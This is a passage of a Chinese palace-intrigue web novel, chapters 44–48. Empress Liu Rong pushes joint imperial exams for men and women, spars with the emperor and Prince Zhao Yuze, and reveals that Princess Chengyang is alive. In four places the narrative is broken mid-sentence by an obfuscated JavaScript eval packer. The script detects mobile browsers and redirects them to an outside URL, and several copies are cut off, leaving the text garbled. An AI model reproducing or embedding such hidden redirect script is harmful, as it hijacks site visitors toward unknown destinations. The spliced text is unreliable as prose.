“当初他从兵营里活着回京,人人避之不及,陛下才懒得封赏他,那一纸敕封还是阿姊替他讨来的,除了阿姊,朝中百官有哪个愿意帮他的?” “叫薛将军。”柳茸纠正她,在人小鬼大的脑袋上落下轻柔掌风,小青的头被揉得似淋过雨的雏鸡。 “你日后登科及第了,同朝为官可不许再换他薛哥。” “我登科及第,还不知要何年何月呢。”小青唉了声。 “阿姊,为何不告诉薛将军是你讨给他的敕封书?说不准薛将军会愧谢,就和阿姊冰释前嫌了呢?” 小青实在难以理解柳茸和薛不虞的相处。 若没了阿姊,薛不虞如今恐怕依旧在陋巷茕茕苟活,于她眼中,是柳茸帮衬了薛不虞,薛不虞不知此事,阿姊岂非白做工了? 阿姊不是个爱做无用之举的人。 “人的心结不是轻易就能解开的。” 柳茸摇摇头。 不要轻易结人心结,也不要轻易解人心结。她已经替薛不虞扣上一颗心结,再去毛遂自荐解开,刻意又假态。 “他若知是我讨来的,我怕……他会不接。” 就算接时不知,在朝廷游走多年,薛不虞想不知道也难了,彼此心照不宣,不问不言,不道破,至少能留个体面,容他缩进凡尘俗事的壳子里麻痹,不去深思。 一旦戳破,或许便更无法去面对彼此。 柳茸思索再三,又补一句,“何况薛将军的功绩,是他应得的。” 这份封诰不止为薛不虞而求,也是为给形形色色相同境遇的判罪之人看的——新朝不吝功勋,身披囚衣者也能戴罪立功,绝无诓瞒。 只是为公事长远计时,柳茸私心想尽力两全自己的一点点小私愿。她毕竟亏欠那个赤诚的剑客许多。 “不谈这个了,阿姊,你看完了贡院快些回宫吧。” “怎了?”柳茸笑容银铃,“想吃驼蹄羹了?” 这哪里是一顿驼蹄羹能解决的事! 小青想起请示出宫时龙椅上那位令人胆寒的脸色,心里直发毛。 “阿姊再不回去,我担心陛下又要生气了。” 新帝阴郁的神容浮上脑际,青团子般的人又是一阵抖。 “怒上一怒也好,陛下吃肉多,消消火。”柳茸打定了心,直往贡院赶。 秋闱男女同考在即。 贡院,她必须亲自去。 去岁她不在,出事了。 去岁春,太尉奏疏请为女子为官开路,朝野痛斥,太尉一党顶住万难总归将事落实,于宣德三年施行。 事情很小,但做成了,柳茸感到快慰。 可快慰不出几日,春闱号舍便出了事,一名杂役将为夫送食的女子点|污了。 早不出事,晚不出事,偏在这个长安上下无论天子庶民各自审慎的裉节上,一个杂役,管不住淫|靡之欲了。 柳茸去狱中提审时杂役已断气,赵玉则一派的旧臣顺势上疏奏请废放开女子科考之诏。 春闱开考一连几日号舍不许旁人进出,水食由院内杂役送入,女子在号舍外递食尚且横遭不测,若入了号舍左右无人,皆是男丁,虽说有监考巡察,终有不及之时,岂能了得? 此举是为孱女妇孺,求一纸圣意,作无事牌,护佑之。 柳茸心若火焚,连夜筹备派人当堂理论,熟料太尉关起门,反手绑了上疏者,几下就把人剐了。 插在礼部贡院正门下。 一刻多余的纠缠也无。 赤条条的骨架在院门,血秽剥一块,掉一块,寒鸦落在拗断的白骨上,啄食肉髓。 望之遍体生寒。 士人是有骨气的,可大部分人的骨气,经不起利刀的磋磨。 男女同考一事又噤声了一段时间,直到入夏,太尉病逝。 那个不怕同士族碰硬、亦或说碰硬便是其一以贯之之道的人,上天给了他炙手可热的权势,却不愿施舍他多点寿数。 好在,与他相伴的短暂时刻够柳茸见识到一些手段、学到点气焰夺人的皮毛。 去岁提出计策对方来了个下马威,今年真正施行更是要谨慎应付。 柳茸想到去岁被杂役点|污的妇人,她通红的眼偶尔会在脑中,伴着自己为她盖衣时的哭声。 她想,若今年春闱想达成什么,那便是不要再见到与此事无关的人哭泣了。 柳茸不敢说自己推行男女同考是为女子,或为别的什么宏愿,这个理由太沉重,她不过一粒芥子,没那么浓墨重彩的格调,只想纤微地守着自己脚下占到的阵地。 能让身份变好一点、行事合理一些、取得权柄更轻松些,最好再多些境遇相同的同谋,便也心满意足。 * 回到宫中时,亥时已过。 “这么晚才回。” 柳茸听见一道比夜风阴冷的声音刮过耳廓。 甘露殿,新帝跂坐在交椅上,点着豆大的火,身旁无人掌灯。 “别走,陪朕。” 他框住柳茸,一只手顶在门上,合住半开的门扉,像小时候一样拱着脑袋探入她的怀里,去汲取一丝温暖。 裙裾之下是女子修长如玉的身段,他太清楚那身段能令多少人为之着迷,唯独他不能,也不敢越雷池一步,双手垂落,不碰她腹间的绦带。 太极宫是没有人情的,但还好,他有一个皇后。 “累了?”柳茸盛住他脸,听人哼了声,于是抬手,温和遮过他的眼,“睡吧。” 从卸了冠的头上披散的青丝埋入她胸口。 梦回几年前,也曾有人——一名剑客,胳膊惬意搭在额上,头倚锦枕,嘴里咬着一根金簪,疲倦中埋入她颈侧…… “你心里在想着谁?”新帝忽然发问。 他目光犀利。 “我谁也没想,陛下。”说罢,柳茸轻轻弹了弹他脑门。 “你心里有人。”他不依不饶。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16225335|174488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 只此一句,柳茸听出他的异样,结合小青的话,柳茸猜到,她今日的行踪被卖了,新帝待在甘露殿,愿是打算来兴师问罪的。 “陛下跟踪臣妾?” 新帝凝着她,要一个解释,不料她盈盈抿唇。 “看来陛下在宫里眼线也不少。” 这话是莫大的讽刺,皇宫是天子居所,他,天下之主自己的家,话到柳茸口中,仿佛此处是一块相互撕咬的棋盘。 龙袍下的掌心暗暗握紧。 “陛下是在怪我见薛将军了。” 听见柳茸亲口道破,他的脸色也不再掩藏,眉眼似雷雨重聚。 “陛下认识城阳公主吗?”柳茸莞尔,略带歉意。 “城阳公主因臣妾而死。初来长安时,臣妾居无定所,非议缠身,在长安几乎难立足,是她给了臣妾下榻之处令臣妾安身,她是臣妾的恩人,但她死了。” 新帝张着唇,没言语。 “今夜,只是我们三两个旧人去祭吊她罢了。” 面前的人缓了缓,心里纠结起柳茸说过几个字眼,道:“从前没听你说起你初来长安的事。” “这等事自然不会叨扰陛下。” “城阳公主,为何身死?” 秋火落在柳茸脸侧,幽媚如画,“陛下应当翻过卷宗,畏罪自尽。” 显然,她不愿开口多述,再问也问不出实话。 做过龟奴的帝王终究仍是帝王,作为一名帝王,最忌讳欺上瞒下,新帝不喜欢这种隐瞒,隐隐的,像根刺在心里的疏离,且难以掌控。 甘露殿外秋风啾啾,玉帘似有所感,晶坠子相撞,回响榻沿,火光玲珑。 “陛下,在疑心什么呢?”柳茸抬起一手,面前人一绺不老实的头发在她手指流转间别进耳后。 “如今你才是臣妾的夫君。” 新帝摁住她得寸进尺的手,再往下两寸,是他的耳垂。 龙袍袖口甩在身后,负手而去。 他去要水了,不多时摆驾,吩咐备水。 柳茸倒是没管皇帝在何处沐浴,沐浴了多久,抽回手,稍稍松了口气。 真是缠人。从前那个跪在她身下的少年,在记忆的画卷里,越来越淡,变得模糊不清,像褪色的水墨,徐徐淡去。 要费比从前更久的力去想,才能忆起些许他最初的模样。 至于城阳公主一事……柳茸闭上眼,不去想,那件事已经盖棺定论在在公主府被查封那年的天空下。 那一年,薛不虞没有与她明说决裂,但彼此心知肚明,他和她不会回到原点,他们已经决裂了。 长空昏红的天空里,她送那人上囚车,押送兵营。 对他道:“我没有杀城阳公主。” 囚车上的人没答复她,不知究竟是听见了还是没听见。 他随囚车远去,昏红的天空终于见了晴,一如红线散开,再无牵扯。 缘深缘浅都已散逸。 只是薛不虞不会明白,母亲犯了何错,为何会死,又为何翩翩是柳茸。 柳茸却是知道的。那一年岁末,她给了赵玉则一击,还要多亏城阳公主。 45. 秋闱 穿过立政门回大吉殿,汤沐旖旖,柳茸没心情泡泉,和衣而睡,一只手探出帷帐里,还上她腰处。 靠近腰侧刹那被柳茸一把手捉住,那只青瓷一样的手悻悻然垂下手腕,柳茸没用太大力道,手臂被她蹭过的皮肤依然留下一圈粉融的痕迹。 “陈王殿下。” “臣以为,娘娘赶走……不,支开陛下,是想邀臣共寝呢。” 柳茸冷笑一声,正要掀帐喊人。 赵玉则轻捂住她的唇。 “娘娘不喜欢臣,臣走就是了。” “不必劳烦娘娘兴师动众。”他低着眉,顾盼流转逡巡在床榻之上,“臣想,娘娘也不愿在此情景喊来人。” “赵玉则,亲王入夜私闯内宫可是大罪,闯入后妃居处更是罪无可恕。” “娘娘会如何治臣之罪?”他眼中反生起期盼。 香烛落着灯油,帷帐光影虚实。 “若娘娘不明白,那臣来教娘娘如何治罪于臣如何?”他将她的手抵在脖上。“弄死臣多简单一事。” 指腹之下就是薄弱而流动鲜血的血管。 “杀了,又如何?”她动手掐了掐,手心的脖颈微哽了一瞬,又紧接放松了,“我怎知杀的不是陈王殿下的影替?若在此杀你背上罪名,万一只是除了个影替不是得不偿失?” “我见你从不用影替。” “自从燕王的影替出事之后,臣已经许久不用影替了,终究是和本尊太像了,会有麻烦的。”赵玉则缓缓摇首。 柳茸弯眉一挑,“能有什么麻烦?” “娘娘知晓的。” “陛下登基前用死了个做影替的书童,”他感慨,笑意深长,“那书童的模样倒是贵气,乍一看好似陛下才是为人鞍前马后过的。” “背议人主,剜舌。”柳茸的声音散在烛光中,两团飞蛾从宫灯着火飞出。 “臣还做过更过分的事,岂不是要死无全尸了?”说着,他食指绕住了柳茸中衣系带,像极了夜半诱人的画皮艳鬼。 柳茸闭上眼,不去看赵玉则的双眼。 当今圣上最私隐的秘密,赵玉则知,柳茸知,也因此,身为“燕王”的阿宝在夺位里被赵玉则挑中。 没有一滴宗室之血,比真正的天潢贵胄要“好说话”多了,这个把柄曾一度百用百灵。 柳茸移开掐在他脖颈的手,那人在榻间作揖,“谢娘娘留臣一命。” “不必谢我,本宫也很想知道,陈王殿下又为何不现在趁此机缘除掉我?”柳茸指着榻下梅木柜。 “刀在最下一层,你手边,与其放火烧宫,亲自动手不方便么?” “什么火?” 他眼眸清亮,似真听不懂,“臣哪里敢对娘娘不敬,淑景殿失火,臣实在忧心,还要谢娘娘给臣一个机缘自查手下,揪出纵火之徒。” 两人默笑,心照不宣地观凝对方。 预料之中,柳茸不意外这个回答。 “当真?” “当真。” “你若真谢我,那为何从前我杀你府中门客时,陈王殿下的脸色……貌似不大好呢。” 赵玉则面容隽雅,唇角没一刻绷劲过,哪怕受掌掴时也是得体的,此刻话落声停,他的微扬僵了僵。 “是啊……当年城阳公主与齐王勾结蓄募私兵一案,臣也没想到主谋会是臣。”他声音含恨,似笑非笑。 “哪里是你了?”柳茸瞪圆着眼,“公主府翻出的罪证不是尚书令的么?想不到尚书令清廉一身,早年在你封地为官受你提携,竟怀不轨之心与旁人勾结,险些牵连了你。” 她语气叹息,“枉费了殿下的举荐之恩。我与太尉也是一查才发现殿下的门庭竟被这些人腐蠹,故而帮殿下清理了些人。” 说着,素指划过那副变得一动不动的身躯,顺着亲王的锦衣落下。 “殿下昔年在宗正寺的刑伤还痛吗?” “若我说还会痛,娘娘会疼惜我吗?” 柳茸鼻下咛了声,鞭子般扫着他腰腹的手指收回。 尚书令被城阳公主牵连下狱,没过多久狱中自尽,柳茸猜出是赵玉则手笔,顺带设计送他去宗正寺中受审了遭。 城阳公主不过一介女流之辈,又非先皇同母姊,翻不起风浪,哪来的胆子与能力勾连尚书令同齐王?柳茸利用了这份俗世的轻视,在世人怀疑空悬的幕后宝座上安上了赵玉则的名字。 信者颇多,诡异且有效,背后是个身居高位的男子,似乎如此就合乎情理了。 若尚书令属实是被构陷,构陷他的人定经常进出公主府与陈王府,熟悉二者,同时满足的人不多。 柳茸正好是一个。 在公主案牵连上尚书令时,赵玉则明了:棋子反水了。 安插在公主府做引线的人将计就计拖他下水,赵玉则出来旋即断了柳茸生机,堵死她每条能走的官路。 他不是在报复,是在惩戒。 用一个无足轻重的公主牵出齐王慢慢撕开口子解决,谋划不亏,但搭上自己一条臂膀便不值当了。一名于朝势无甚益补的公主,换一名稳居朝中的尚书令与一干门客,不值当。 造成此事的棋子不挺话了,他在惩戒她。 帷帐中,一天一地,当初被他惩戒的女子身居后位,而他清袍单衣跻坐在榻尾。 “赵玉则,你到底想要什么?”柳茸靠在堆叠的衾枕。 “为你的母亲立庙?你已经做到了。还是当天子?本宫看不出你想坐上去。” “或许……今时今日,臣想要的是娘娘呢?” 赵玉则眯着眸,显露出在死敌刺来的刀口无意间舔到蜜的神情。 柳茸佩服,这个男人骗人的眼神都如此真挚。 * 宣德三年,秋闱开考。 之前各州县已有些破格参加县试的女子,但要在秋闱做到男女同考还是困难,时间就是个难题,女子要一路考到入选秋闱,一年时间是不够的。 皇后柳茸悯其艰辛,特增设两次小考,难度与秋闱相当,考过则与男子同获秋闱资格。 此举掀起一层浪,但在宣德三年的初雪下,细细消融了。 待秋闱将尽,小青的科考也结束,低丧着脸,抱怨出题。 贡院镂窗外夜色尽墨,柳茸来接她时在贡院外又见到了薛不虞。 “薛将军,留步。” 薛不虞堪堪转身,脸色不改,“娘娘在叫臣?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“贡生离京,还请劳烦将军在城外护佑安危,尤其是女子,免遭不测,我知将军从前是江湖人士,城外盗寇闻将军威名必不敢劫车。” “就这些?”薛不虞问完,挥剑横袖。 隐匿暗夜的刺客劈柴般倒落。 “你没注意吗?你身后跟上尾巴了。” “有薛将军在。”柳茸淡然饮了口酒。 对方冷哼,铮然收起剑身,“方才的话……在朝堂也能说,日后若是公事,不必大费周章叫臣出来,臣府中还有事。” “……告辞。”他将剑绑回腰上,理着蹀躞,正欲离去。 柳茸道:“当然不止。” 薛不虞套剑的动作稍滞,他听见自己的心跳声,在自己才能听见的躯壳里叩着。 一碗酒,碰了下他酒渍未干的酒盏。 她在谢他。这曾是他们彼此知晓的道谢方式,酒坛回撞的声音曾经充斥了他们在一起的每个春日。 “多谢。以及,本宫的确想你。” 46. 选择 薛不虞心神一恍,原本不算大的心跳声躁如鼓声。 又像密集的雨点,敲打着他每跟脊骨。 他一时不知如何隔着血海生死回应这份不知虚实真假的直白。 柳茸极少对人剖心,但今日她愿意剖白一点。 在被赵玉则堵死所有路时,她反而得以摆脱赵玉则,升到了更高更不受他掣肘的位置。 她总有方法把路走活。 但是对于以往对不起的人,她什么奇技淫巧也用不上。 眼前的男人不需要技巧去征服,反倒唯有真诚才能撬开他的口。 “我始终没忘我来长安的目的。”她没忘记,她是在崔元死后来的长安,她要给益州死去的百姓和崔元在赵玉则那里讨个说法。 “可我倒真对不起你。” 薛不虞从恍惚中定神,默了一会儿又好气又好笑,“你对不起的人是我吗?” 他至少还活着,他的母亲兄长已长眠不寤。 不消明说柳茸也猜得到薛不虞后半句想接的是哪个名字,城阳公主。 公主对她很好,能坐在下雨的回廊里,听她弹整日的琴。 得知柳茸要与薛不虞成亲,她是首个祝贺的,口中念叨着柳茸嫁亏了,薛不虞没个一官半职的,一边手忙个不停为柳茸敛嫁妆。 柳茸没有母亲,她就来做她的母亲,嫁妆一定要好,不能让长安的人都瞧不起,薛不虞若欺负大可同她告状,她会让他明白如何为人夫。 觉察到自己口快,薛不虞身躯稍稍偏离酒案,克制住一时失控。 窗外,刺客的尸骨已冷,柳茸瞟一眼,今夜在暗处跟踪她的人已被除尽,涂着口脂的唇开腔。 “若不是我,赵玉则依旧会对公主府下手,只是换了个人来做,他不会脏自己的手。” 薛不虞对上她的眸。 “薛将军,树大招风,如今你不会不懂,你身在江湖,可你真的身在江湖吗?” 薛不虞无言。 他的骨血流淌着宗室的血,逃不开躲不掉,即使自己不认自己属于皇族,流连酒盏间,其他的宗亲未必会这般看他。 不为赵玉则所控且有旧仇,又有杀王的前科,赵玉则不会容这种人有落到敌人阵中的可能。 多疑,仿佛是历朝天家的痼疾,这句话也应验在来日的柳茸身上。 “他始终会对付你的,其他人来,你们就真活不成了。” “所以,我拦了这份活。”话到此时,柳茸垂落眼,酒盏泛着光,倒影出她揉碎的影子,乌睫侧扫,像飘落酒中的棠花。 薛不虞怔忪了下。 入肠的酒,有些灼人。 “为何如今跟我说这些话。” 他眉峰聚敛,更加紧布,带上一丝防备,信任一旦出现裂痕,便难以修补了。 “因为这是我们自成亲后第一次喝酒。” 一句话将薛不虞的神思抽回数年前的醇酒月夜,仿佛这一刻,没有君臣尊卑,他们还是当年月下饮酒的人。 “那你……为什么不杀了赵玉则?” “你阻止我杀他……我从死里回到京城时,我有杀过他,是你,你出现了,制止了……”他一声声地叩问。 “我当时真傻,看见你时还以为你是来帮我的,”薛不虞笑着,浮现苦意,“原来是来帮他的,差一点,再差一点,你不出现,我就要得手了……” 他望向她的一眼,眼神凝聚,带着久远的质问尽数发出喉腔,“他赵玉则是什么十世大好人,你要护着他?” “你对我都不曾……” “我也想杀。”柳茸声音平稳。 “那就去杀啊!为什么,你要阻止我……”一滴酒弹指间回落酒盏,男人拍案的手筋骨缓缓放松,随着那份咬牙切齿的怒意遁入躯壳蛰伏。 他失态了…… 薛不虞紧着牙关靠回席间。胸中闷气,密痒如蚁,勾人的酒香点染在他鼻腔,企图再次释放他的苦郁冲破喉咙,被他娴熟地压回心门。 怪到人都说酒不是好东西。 “可是薛不虞,”柳茸开口,薛不虞的眼神看着她,眼底显露出乌青,方才的大起大落吸耗了他的心力。 接着,他听见柳茸道:“我也不想看见第二个益州。” 每一个王都有封地、有大梁的舆图上划分的势力,陈王赵玉则也不例外,陈王固死,百姓何辜。 见到道旁哺育婴孩的幼母,柳茸又放下了手中刀。 她想找个不见血的方法,一点点磨掉这个人的风骨、体面、爪牙、权势,磨到他一无所有,再杀。 她正在找,且找到了。 “我见过益州的大火,就不想再让别的地方也起一样的火。”她不想被烧,也不想做点火的人,她只想灭火。 “那你想做什么?”薛不虞问她。 “我想做灭火的人,那场大火很痛。” 痛字落到薛不虞耳中,他望着她的瞳深深刺痛了下。 灭火的人。 这也是他仍愿意与柳茸并肩的原因,因为,她是个灭火的人。 他无法与她回到过去,无法放下芥蒂,却在瞬息万变的朝堂里,看清了像他这样的人,必须辅佐她。 唯此一条路,是他眼下仅剩的选择里最不算差的。 去服从新帝?薛不虞不屑。服从太尉?那个人啊,相看两厌。 服从赵玉则更不可能。 不是仇人便是难以令他低下头颅的庸人、冤家。 朝野王侯天子间,他最终仍旧选择了她。 只是这一次不是为成婚,不是男女私情,是女主与臣,是两头政治动物。 “薛不虞,若我说公主还活着,你会信我吗?” 听到这话,薛不虞手中的酒盏差点脱手。 几滴酒水淌落他衣袍。 “不信。”他果决了断。 “我娘不会自尽,更不会……死而复生。” “是啊,不会死而复生。”柳茸落寞,却听席间,那人的醇厚的嗓音传来。 “但我也不会向你复仇。” 他对柳茸,举不起刀来。 削铁如泥、杀人如麻的一双手,对着她纤细易断的脖子,怎么也挥不下去。 所以另一个人,一个导致此事的罪魁祸首赵玉则,必须死。 * 柳茸的话,薛不虞想了几个日夜,到天光大白仍在萦念。 ——“薛不虞,若我说公主还活着,你会信我吗?” 没人能死而复生,他前半生为己杀人,后半生为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他想起来了,柳茸说的秋闱放榜日,自己已经调度人马为贡生护行,刚才一时气极没意识起来今日是什么日子。 人可真多。 柳茸入朝局后,杀了一批喜好蓄妓的官员,目标明确具体,简直像前世有仇似的。 那些人的官位可大可小,有些被柳茸空着,薛不虞猜是要给往后迈入朝堂的女子。 说不定,眼下车外,洪洪人流中就有将来即将补上位置的人。 人群一派热闹,有人哭有人笑,光亮飒飒照着,四周与官场别样的声息冲淡了他内心躁郁。 听着嘈杂的人声,薛不虞的心竟觉格外宁静起来。 车夫谨慎调转着车头倒退,奔往另一条小路。 风无心勾动车帘。 看榜的人群又带起一阵新风,彻底卷起薛不虞的车帘,他忽然瞳孔骤缩。 那一张张掠过面前的人脸里,夹杂着一张面容,一闪而过。 是城阳公主的脸。 47. 质问 薛不虞以为自己看岔了,追了出去。 但那一抹影子没见到他,飞速融入人群中,泥牛入海。 此时的太极宫日照瓦亮,龙角飞檐。 柳茸在立政殿内看着陈县大旱的上疏。 周遭宫人驻守,对柳茸翻阅奏疏已见怪不怪,甚至心领神会地添墨。 “娘娘,此事陛下不是已批阅了吗?” “是如此。” 但她看的不是新帝朱批,是陈县官僚的呈报。 陈县属豫州,是陈王赵玉则的封地,本地官员多承过赵玉则恩惠,有些有才之士因他才能为官。 这个人奇怪的很,对不属于自己封地的人事物无差别杀剐,对自己封地的穷据庶民却很明达。 封地上的百姓大多爱戴陈王,一提起陈王殿下,总是要夸的,陈王殿下在五子夺位里给了他们一片安歇之处,人人得而安居。 豫州大旱,赵玉则开仓放粮,以私补公,不至于民变,无论是沽名钓誉还是真心为民,至少给到了实处。 对付他有点棘手。 “派人去司农寺调粮,就说豫州的请粮疏,陛下准了,不必劳陈王一人费心。” 柳茸合上奏疏,宫人恭敬盛下。 “娘娘,有人。” “下去罢。”柳茸摆手,止住声。 宫人知趣自动散去,树丛中暗卫显形。 柳茸问了句:“她还好吗?” “姑姑一切都好,叫娘娘毋要挂念,惟担忧娘娘。” 暗卫又添一嘴:“只是姑姑闷急,问娘娘何时可现身。” 柳茸笑:“很快了。” 无人知晓所谓的“姑姑”,城阳公主,还活着,活在卧龙寺。 赵玉则不是没派人寻过,他起初不大相信柳茸能对城阳公主没有丝毫留情,将长安秘密搜了个遍。 卧龙寺的老僧是崔元与薛不虞的师父,柴瘦的身骨硬生生抗过了上刑,赵玉则放人不出几日,柳茸收到一封无主的信,颤颤巍巍写着四个字。 “未死,平安。” 做戏要做全,关于城阳公主的事,她连最亲密的人也瞒。 除此之外,柳茸每隔几月便去卧龙寺上香,为国祈福,探望情况。 又是一次上香结束。 古刹钟鸣,山鸟高飞,柳茸从蒲团上起身,摆驾回宫。 “什么人?!” 寺外黑影现出,娴熟穿过重叠卫兵。 “有人劫走了娘娘!” 暗卫追出,然而抱着柳茸的人根本没有放手的人。 她闻到那人身上的酒香、看见他腰间的金合欢剑在日下熠然。 “薛不虞?” 他是故意劫走自己,为的是将她带到僻静处。 暗卫穷追不舍,一把刀已架在薛不虞脖间,下一刻就要砍去。 柳茸选出的暗卫不会轻易动杀招,但一刀下去,生不如死,既不至于令人死又能审上一审。 动手前,柳茸及时制止。 “守住此地,不要让任何人进来。” 暗卫听命,倏忽不见。 然长刀出鞘,仍是在薛不虞的脖颈留下淡淡血痕。 “娘娘经手的人真是本事见长。”他抹去脖间的血痕。 “为何不挡?”柳茸问,“你的身手,这点杀招应该还不到你。” “挡了娘娘要给我罗什么罪名?抗旨?行刺?” 话未说完,一个掌掴落到薛不虞面上,他怔愣了片刻。 柳茸没用力,只是警告,他竟像痛极。 “娘娘的手劲也见长了。” 柳茸缄然一瞬。 “薛将军,下次不必当街截本宫,想必将军也不想将事闹大,更不想若被人瞧见扣上乱臣贼子的帽子。” 薛不虞抹了抹鼻子,“只许你约我到酒肆,不许我约你了?” “臣要同娘娘说的话,想必娘娘不会乐见旁人知晓。” 他眼睛微微泛红,攀在她肩上的手紧了紧。 “什么话?”柳茸眉心紧起来,升起不妙的预感。 “方才你进卧龙寺上香,用了一个时辰。” 柳茸揣测不透他话中意。 薛不虞的目光落在她肩头,“一个时辰,香该落在你身上了。” 他伸手拂去,柳茸的肩上一片干净,没有灰。 “我去别处敬拜了。” “娘娘,我就是在卧龙寺长大的。”薛不虞在她肩头的目光几分萧索,“每一间院子是什么样布置、进去后出来的人会染上什么香、沾上什么东西,我幼时观察地清楚。” 说完,他一语点破,“你没去上香,你去见了人。” “你去见了谁?” 柳茸面色不变,心如坠子荡落半空。 那双捏在她肩上的手,就像是在逼问一样,力道不自觉地紧了,甚至,虚出了些汗。 “你告诉我,你去见了谁?”薛不虞的语气有些急,几乎是急不可耐地语无伦次。 “是不是、是不是……” 一阵冰凉贴上他的额,千言万语顿止,是柳茸的手。 “薛将军,你累了。”她笑着放下探量的手。 “将军也知我在朝前行走实属不易,自然有自己的一两个耳目,宫里不方便见,只能选合适的时机见上一见。” 她抽开男人落在肩膀上掌心,“将军,问得太仔细可不是好事。” “还是说,将军看见了什么?在怀疑什么?说与我听听怎么样?”柳茸反客为主。 薛不虞摇头,一个咬唇,“好,既然你说不方便见,难道你年年不方便吗?” “去岁七月初七,你于卧龙寺敬香,正月十二,你于卧龙寺敬香,三月初三,于卧龙寺敬香,既然是祈福为何百官同礼的大节不来卧龙寺?既是见手下,为何次次都选同一间寺?” “从前我以为是因为崔元,赵玉则那个人怕是与我想到一处。” 可今时今日,他心中有了大胆的设想。 更是想起了成亲前夕,他们预演着拜堂,闹到半夜,他不放心她独自回房,悄悄跟守着,见柳茸并未通往自己房中,而是去了城阳公主处。 她是去做什么了?那时的薛不虞没多想。 半夜敲门的人只有两件事,一种送参汤,一种商议事情。 他没考虑过第二种选项。 卧龙寺里有人,一个无法露面、需要她细心藏起的人。 与柳茸交好的人在长安不算多,没有一个需要藏着掖着,什么样的人才要想鬼一样藏起? 薛不虞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“放榜那日,我遇见赵玉则了。” “他倒是实诚,说你经常入夜召见,是真的?” 柳茸无奈,大部分时候,是赵玉则此人自己来的。 “娘娘,赵玉则做过什么,我会全记下,我只告诉你一句,我不容他。” 他又道:“你说我的母亲死了,若是她未死呢?” “可是她死了。” 薛不虞摇摇头,“求你,就当给我一个美梦。” 柳茸想了想,道:“那她定会有日与你相见。” 日头慢慢偏西。 柳茸是一个人回到轿边,老僧在寺门送行。 “施主何时再来?”这是在问柳茸何时来看望。 柳茸道:“师父最近可有去别处进香?” 旁人不知其中意,唯有柳茸与老僧知晓是在问藏在这间寺庙的人有无出去。 老僧道了声阿弥陀佛,“有。” 她总算知道薛不虞为何今日来问她城阳公主之事,但是,她再一次骗了他。 48. 公主 卧龙寺里不乏比丘尼,有位比丘尼去岁还俗,喜读诗书,柳茸在今岁秋闱的贡生榜上见到了她的名字。 想必城阳公主就是陪她看榜去了。 柳茸敲敲脑袋,真不让人省心。 她走到榕树下,果然就见到一个人——城阳公主赵璇玑,薛不虞的生母。 雪白的脖颈上,那道细长的伤疤还在。 见柳茸来,仰面扬起嘴角,口边呲出的虎牙不知被遗传了谁。 “怎又回来了?我那儿子寒你心了?” “再偏一点点我就真要被你捅死了。”赵璇玑摸着脖上的旧伤。 “殿下放榜日出去过?” “那个小尼照顾过我几日,她独自看榜我不放心,都是男人堆的,万一有人推她我替她出手。” 她利落说完,见柳茸的表情并不像夸奖的样子,悻悻然道:“知晓了,我日后没有你的吩咐不出去、不出去……” 柳茸训诫的目光收回,“殿下,薛郎他很想你。” “那就让他想着。” “他在军中受了许多苦。” “那浑小子顽劣,叫他吃点苦也好。”赵璇玑默然片刻,“说笑的,我也想他……” 终究是掉出肚子里的一块肉。 “他几个兄长都抱了赴死之志,他们战死的骨骸回京时,我见到了……还要多谢娘娘,肯让我去见上一面。”赵璇玑叹了口气。 “殿下不怪我?”柳茸问,毕竟是一刀之仇。 赵璇玑哼笑一声:“我问你,你活了多少岁?我活了多少岁?” “什么样的血亲相残我没见过,今日株不到我头不代表后日株不了,大梁赵氏何来的赢家,只有侥幸躲过杀机的几人尔尔。” 不是柳茸来做此事也会是旁人,赵璇玑不会去怪一把刀,刀子驶向哪、作什么用是刀主的意思。 “你那夜告知我原委,又联系卧龙寺的人在外接应,我怎还会怪你?” 赵璇玑坐在地上,洒脱地以背抵柱,“我原也是要死的,但是,我总觉得我死了,对你不好。” “唉,我还是乐见你们在一起的。”她瞥一眼严妆下的柳茸。 “我知道,我若真死了,你和不虞,怕是真回不去了,但……也许是我老了,不愿见这分遗憾,终有一日,希望你二人能说开,回到在我府上安稳过日子的时候。” “安稳……”柳茸苦笑。 她的人生似乎从来就没有过安稳的存在,或许有那么一刻是有的,但稍纵即逝,然后给她留下一场荒芜以及向上爬的冲力。 越往上,风浪越大,可她只能往上。 就连柳茸也不知道,自己迈向重重宫门,走向凝聚天下之权的太极宫后,前路通向何方,这一生又会以怎样的终焉收梢。 但她清楚,她永远得不到安稳。 每一份即将安稳的感情也都消散于动乱,就像冥冥诏命般,提示着她一生航行的终点不会在任何人身上停歇。 赵璇玑走后,柳茸掀开门。 男人背影僵直,像一尊石像在门外。 “你都听到了。”她思来想去,这一次,没有再骗薛不虞。 而他在门外,已红了眼眶。 枯叶落入半干的池塘,卷起轻盈水花。 薛不虞紧着喉,半晌才通红着眼瞪过来,“为何要骗我……骗我说她死了……” “为了瞒你,也瞒旁人。”柳茸扶着门,“对不起,我骗了你。” 